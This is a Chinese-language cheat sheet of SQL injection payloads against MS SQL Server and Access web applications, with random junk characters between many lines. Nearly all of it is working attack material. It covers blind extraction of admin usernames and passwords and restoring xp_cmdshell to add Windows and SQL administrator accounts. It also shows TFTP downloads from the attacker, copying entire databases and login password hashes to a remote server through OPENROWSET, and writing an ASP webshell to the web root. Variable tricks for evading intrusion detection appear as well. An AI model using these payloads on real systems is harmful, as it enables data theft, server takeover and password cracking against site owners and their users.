SQL注入语句2

admin

1..判断有无注入点
; and 1=1 and 1=2
, Q) j6 E1 K4 K+ x& M+ u

* `0 M+ Q9 k# d8 u5 X( P5 k2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
7 k8 m6 q* g2 Y- U5 @8 T! L0 xand 0<>(select count(*) from admin) ---判断是否存在admin这张表

3 N/ e/ U7 N1 @; d
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
猜列名还有 and (select count(列名) from 表名)>0

+ K- n3 _% B7 c& g! n
* S, u% O7 n4 K6 _2 Q2 P! T4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
) X1 T" M5 ~7 i, L5 a7 zand 1=(select count(*) from admin where len(用户字段名称name)>0)
# \7 b- {( B4 l* w  o( kand 1=(select count(*) from admin where len(密码字段名称password)>0)
- \  J+ F4 i' o' t( t, s; i
/ z& Z! B& B: k* G  E0 l5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
' L  j' r% W9 Y) y8 hand 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
3 b6 U) n5 ~5 v* B
and 1=(select count(*) from admin where len(password)>11) 正确
; j" }  [0 j/ r3 ]- Land 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
猜长度还有 and (select top 1 len(username) from admin)>5


7 H( D, U0 q% R6.猜解字符
! l0 s* o! M6 G5 uand 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
6 j) y" q0 v1 R0 b; m: v* E5 uand 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
2 s6 n& k- @/ v5 {( B
猜内容还有  and (select top 1 asc(mid(password,1,1)) from admin)>50  用ASC码算
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )--

/ ^* n5 `. w) g" @& E& PUNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id)-
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id,login_name)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--

看服务器打的补丁=出错了打了SP4补丁
& R1 g8 B- V9 X  _- @' cand 1=(select @@VERSION)--

看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。
/ T) Q( Z' J1 land 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
' [  l9 [  x5 j$ G8 O
判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and sa=(SELECT System_user)--
and user_name()=dbo--
8 V! e" g& r* k* M1 xand 0<>(select user_name()--

) W0 ~3 e( ?; F* _0 [看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--

xp_cmdshell被删除，恢复,支持绝对路径的恢复
' x+ j1 h- ]7 g, }1 ^, Y" @! h;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
0 n9 l0 `4 r) O;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

) k0 [! A8 h( x0 `反向PING自己实验
) c( q/ U3 f( P% w! l9 A' N;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

' x. u1 o( H; I. Y1 C加帐号
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--

创建一个虚拟目录E盘：
' T2 ^; Z0 y5 o# i* F;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"--
" Z# r& @. V9 r7 @  q3 F1 o2 t4 u! {
& P2 a* ?% m1 _- q; R1 T/ ~访问属性：（配合写入一个webshell）
4 A, `3 K5 q& @9 Z+ edeclare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse


MSSQL也可以用联合查询
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)
; w3 K$ a. Y* |2 E! D. T8 h1 {2 r. D

爆库 特殊技巧:%5c=\ 或者把/和\ 修改%5提交

% {) d, ^1 o: D9 @6 d0 v# X3 H

得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
; A( q! p6 J, J5 N9 Gand (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
& b! t7 `2 G& P4 b) \;use ku1;--
0 ], E0 k: [$ C% ~;create table cmd (str image);-- 建立image类型的表cmd
' X/ L+ @* {# w7 A0 P* t
1 F2 R" V% Q/ X9 O4 B$ R存在xp_cmdshell的测试过程：
8 m$ R: d- a8 z' q, u1 z;exec master..xp_cmdshell dir
$ X, y9 t1 ^! g9 G9 ^1 M;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
2 ~; q( j8 v/ y( F$ N1 r" p: d;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
- J5 b1 a, [+ M" J;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start, schedule 启动服务
exec master..xp_servicecontrol start, server
3 {" c' H& _# u% B; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
( C+ w! I1 h% ?9 M4 L" A) p- V;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
6 F) K. J2 E* U5 ~. D; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
( H$ B, F% e$ t; e- O# f
4 a, c( y+ F7 R& I7 C5 v+ O;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
. x  y/ @5 a; S4 Z* [;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
) \& F& k3 J) h" a* [7 H;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
4 x# q. L! y9 a6 q. I! uselect * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
/ p# R$ \7 d+ o9 J8 K3 e5 v- B) [
查询构造：
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
: h3 `9 m: W: |% C6 @2 B9 ~( e# `1 A' x  F$ f;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
! i5 E7 t: }4 \3 k9 Uand 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
8 _9 Y5 I# n+ `* t8 m- E- k/ p;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
  M5 X$ f4 g  a;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
1 ]5 ^9 x' [' F& U! F" e9 X;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
, P# z8 F6 o, D* \: [  u6 G;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
1 T+ ]8 u$ T/ r; ?上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
" _% \  h8 ?- _
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
8 Y; j. m3 z& E2 k" [/ finsert into users values( 667,123,123,0xffff)--
0 t% m7 _8 e6 e$ u4 c* Jinsert into users values ( 123, admin--, password, 0xffff)--
) s( a2 M  Q" M, };and user>0
;and (select count(*) from sysobjects)>0
3 v1 w) ?$ ^; A; e* ^# f' M' F;and (select count(*) from mysysobjects)>0 //为access数据库

5 C: S" ^' a' f7 y( p枚举出数据表名
0 W7 R) R* @" o. a! @: P;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
4 ?- n2 f  C+ u! c/ }& O1 P读出第二个表，一个个的读出，直到没有为止。
! Q' w  v* N" d) s7 j3 q$ I读字段是这样：
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
7 _* X+ {8 i; M2 y2 ^然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名

[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
+ \; }. [* \" j, a1 w# V; u* m
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
$ r+ j" Z2 r: s9 t6 R% d" Wupdate 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]

& g" }7 y( K6 v2 Y3 l7 t绕过IDS的检测[使用变量]
: E$ c& |2 Z$ f1 ?7 o) Q;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
- o- @; `1 \# Y
" r4 y# v% k; @1 d6 W9 x0 q1、 开启远程数据库
& p+ [# R& g' t4 R! R  E基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
$ o0 N, B5 w" t/ a+ R参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
- o) D) _9 N5 r4 K2 f( u: tselect * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个数据库insert所有远程表到本地表。

基本语法：
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
) Q/ F2 X! ^: |insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
( ^- h6 _2 Q" X4 Z9 p# uselect * from master.dbo.sysdatabases
& @; p% S+ U; `2 Q" R& ninsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
& O+ i! m1 w2 U: F" a1 _! Mselect * from user_database.dbo.sysobjects
1 n* c9 A% n8 S5 ?4 T2 binsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
1 m- }$ e! e1 l3 p- Oselect * from user_database.dbo.syscolumns
7 T4 F9 W3 X' J9 `0 q% k+ }复制数据库：
. t' j* q: E7 u" V4 }( a, e2 binsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下：
$ Y+ q  S) c3 b" i4 w$ Ginsert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins
, h% d4 \) _" z" P$ }得到hash之后，就可以进行暴力破解。

遍历目录的方法： 先创建一个临时表：temp
5 ^" I' m6 T$ T1 N$ d$ o;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
5 u' E1 j# }$ S0 A3 W;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
8 T( S7 N8 i6 R0 _;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- （xp_dirtree适用权限PUBLIC）
2 a2 Q8 W/ \1 p; z$ h* X0 \写入表：
语句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
5 a. S, d0 s1 {! Z6 q0 a7 `5 u% |语句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
* z8 @* Q7 {- a# \0 g4 O6 s语句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
0 D" M3 B/ m' R# o语句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
$ R9 P/ p+ Y" e/ r  o0 K% ?# _2 ~- y/ V语句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
9 X; M( u' W/ D. i$ _  Z语句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
5 }. w9 F$ G# f  g2 O2 R2 l4 Z  q5 D语句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
2 r6 z5 \+ }5 S  J( S7 [语句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
4 u9 u% M8 @9 z7 U5 L; Q) y; f语句9：and 1=(SELECT IS_MEMBER(db_owner));--
& @" h+ y: e4 ~, `5 h$ O9 s! {: L. n/ G& B
把路径写到表中去：
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
  g" p+ f' v5 L) Z0 z/ ]2 e& j% {4 Uand 0<>(select top 1 paths from dirs)--
+ L# K/ o" d) K5 k: band 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
) e, E( K: q* b; R;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
4 _9 ?% {0 M; `  Y' `
1 p/ v- |7 w# d$ @把数据库备份到网页目录：下载
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
6 N2 S0 l. v$ N! o$ D; x
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。
3 o2 r" p9 z2 R' aand 1=(select user_id from USER_LOGIN)
, h- D5 M" Z9 V: Rand 0=(select user from USER_LOGIN where user>1)

$ t. C( ?- g- e2 m9 }-=- wscript.shell example -=-
declare @o int
exec sp_oacreate wscript.shell, @o out
exec sp_oamethod @o, run, NULL, notepad.exe
* H2 ~: Q4 {1 c- ^$ o; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe--

5 i; h/ `% x  T5 l3 j+ O1 p% ^declare @o int, @f int, @t int, @ret int
6 m+ G* @4 y" E# M2 I  cdeclare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject, @o out
/ F9 S" }. S+ S: B/ ^; b! uexec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
' r' A- p% F, W- q( p+ Qexec @ret = sp_oamethod @f, readline, @line out
3 h2 H, `0 n* ~. D. l/ d0 Ewhile( @ret = 0 )
( e  S% W& Z( _8 d" jbegin
1 |6 `& S0 k' f) ]; l( I& Bprint @line
exec @ret = sp_oamethod @f, readline, @line out
end

6 N0 ]8 W; o$ D3 R. wdeclare @o int, @f int, @t int, @ret int
; F# t' y6 j3 C, zexec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
; l) q: l- i3 q3 T- z+ C" y
declare @o int, @ret int
exec sp_oacreate speech.voicetext, @o out
- q- L+ ]! {9 |+ Cexec sp_oamethod @o, register, NULL, foo, bar
exec sp_oasetproperty @o, speed, 150
exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
" Z6 w! C$ U) X& d( I. K1 t* i7 G
; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
  ^7 h' g& ^/ t% r' B6 q) e' ]
xp_dirtree适用权限PUBLIC
! M; k8 T. @9 s) E- Aexec master.dbo.xp_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
( z6 l, D* u  G) Q& H建表，这里建的表是和上面xp_dirtree相关连，字段相等、类型相同。
4 p1 C. N: U  |$ }/ Xinsert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！
  y5 T: q# ?* y* b0 `( t